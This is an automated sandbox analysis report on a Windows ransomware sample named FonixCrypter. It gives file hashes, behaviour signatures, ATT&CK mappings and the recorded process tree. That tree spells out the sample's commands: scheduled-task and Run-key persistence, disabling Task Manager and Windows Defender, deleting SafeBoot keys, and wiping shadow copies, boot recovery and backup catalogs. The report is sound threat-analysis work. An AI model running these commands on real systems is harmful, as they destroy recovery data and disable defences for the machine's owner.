Resubmissions

24-10-2022 14:59

221024-sczbashcfl 10

02-06-2020 00:13

200602-s5zbncbaen 9

Analysis

  • max time kernel
    110s
  • max time network
    88s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    02-06-2020 00:13

General

  • Target

    de8a4978d6541c3abc958757d9fb3909c6cd58447a67877177c3434cb7438e2e.exe

  • Size

    6.0MB

  • MD5

    df472f90c33e6c341a74fe1ca29dac70

  • SHA1

    d7512488de06b677751014bdc48302c179542558

  • SHA256

    de8a4978d6541c3abc958757d9fb3909c6cd58447a67877177c3434cb7438e2e

  • SHA512

    4257e88d9c6f5eec59d1da6749c386b3859be04159ec37aba2adb3704e5f2ce11ef3adfb086b86d1bea03db300e1d82cab08f266cf6fae4d8f929e71918ddcf9

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 56 IoCs
  • Drops startup file 4 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies file permissions 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Adds Run entry to start application 2 TTPs 8 IoCs
  • Modifies service 2 TTPs 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of WriteProcessMemory 104 IoCs
  • Disables Task Manager via registry modification
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Drops file in Program Files directory 10510 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\de8a4978d6541c3abc958757d9fb3909c6cd58447a67877177c3434cb7438e2e.exe
    "C:\Users\Admin\AppData\Local\Temp\de8a4978d6541c3abc958757d9fb3909c6cd58447a67877177c3434cb7438e2e.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Drops startup file
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    • Drops file in Program Files directory
    PID:1100
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %temp%/FonixCrypter.exe /RU SYSTEM /RL HIGHEST /F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1296
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /SC ONLOGON /TN fonix /TR C:\Users\Admin\AppData\Local\Temp/FonixCrypter.exe /RU SYSTEM /RL HIGHEST /F
        3⤵
        • Creates scheduled task(s)
        PID:820
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d C:\Users\Admin\AppData\Local\TempFonixCrypter.exe /f
        3⤵
        • Adds Run entry to start application
        PID:1308
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1392
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d C:\Users\Admin\AppData\Local\TempFonixCrypter.exe /f
        3⤵
        • Adds Run entry to start application
        PID:1400
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1456
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d C:\Users\Admin\AppData\Local\TempFonixCrypter.exe /f
        3⤵
        • Adds Run entry to start application
        PID:1480
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1520
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d C:\Users\Admin\AppData\Local\TempFonixCrypter.exe /f
        3⤵
        • Adds Run entry to start application
        PID:304
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:308
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        3⤵
          PID:844
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:272
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          3⤵
            PID:772
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:992
          • C:\Windows\SysWOW64\reg.exe
            reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
            3⤵
              PID:736
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
            2⤵
              PID:1556
              • C:\Windows\SysWOW64\reg.exe
                reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
                3⤵
                  PID:1096
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin Delete Shadows /All /Quiet & wmic shadowcopy delete & bcdedit /set {default} boostatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet/ & icacls * /grant Everyone:(OI)(CI)F /T /C /Q
                2⤵
                  PID:812
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /c vssadmin Delete Shadows /All /Quiet
                    3⤵
                      PID:540
                      • C:\Windows\SysWOW64\vssadmin.exe
                        vssadmin Delete Shadows /All /Quiet
                        4⤵
                        • Interacts with shadow copies
                        PID:548
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      wmic shadowcopy delete
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1568
                    • C:\Windows\SysWOW64\icacls.exe
                      icacls * /grant Everyone:(OI)(CI)F /T /C /Q
                      3⤵
                      • Modifies file permissions
                      PID:1456
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Copy Cpriv.key %appdata%\Cpriv.key
                    2⤵
                      PID:304
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Copy Cpub.key %appdata%\Cpub.key
                      2⤵
                        PID:984
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Copy SystemID %appdata%\SystemID
                        2⤵
                          PID:272
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        • Modifies service
                        PID:2028
                      • C:\Windows\explorer.exe
                        "C:\Windows\explorer.exe"
                        1⤵
                          PID:528

                        Network

                        MITRE ATT&CK Matrix ATT&CK v6

                        Execution

                        Scheduled Task

                        1
                        T1053

                        Persistence

                        Scheduled Task

                        1
                        T1053

                        Registry Run Keys / Startup Folder

                        1
                        T1060

                        Modify Existing Service

                        1
                        T1031

                        Privilege Escalation

                        Scheduled Task

                        1
                        T1053

                        Defense Evasion

                        File Permissions Modification

                        1
                        T1222

                        Modify Registry

                        2
                        T1112

                        File Deletion

                        2
                        T1107

                        Credential Access

                        Credentials in Files

                        1
                        T1081

                        Collection

                        Data from Local System

                        1
                        T1005

                        Impact

                        Inhibit System Recovery

                        2
                        T1490

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Temp\Cpriv.key
                        • C:\Users\Admin\AppData\Local\Temp\Cpub.key
                        • C:\Users\Admin\AppData\Local\Temp\SystemID
                        • C:\Users\Admin\AppData\Roaming\Cpriv.key
                        • C:\Users\Admin\AppData\Roaming\Cpriv.key
                        • C:\Users\Admin\AppData\Roaming\Cpub.key
                        • C:\Users\Admin\AppData\Roaming\Cpub.key
                        • C:\Users\Admin\AppData\Roaming\SystemID
                        • memory/1100-0-0x0000000002980000-0x0000000002991000-memory.dmp
                          Filesize

                          68KB

                        • memory/1100-1-0x0000000002D90000-0x0000000002DA1000-memory.dmp
                          Filesize

                          68KB

                        • memory/1100-2-0x0000000002980000-0x0000000002991000-memory.dmp
                          Filesize

                          68KB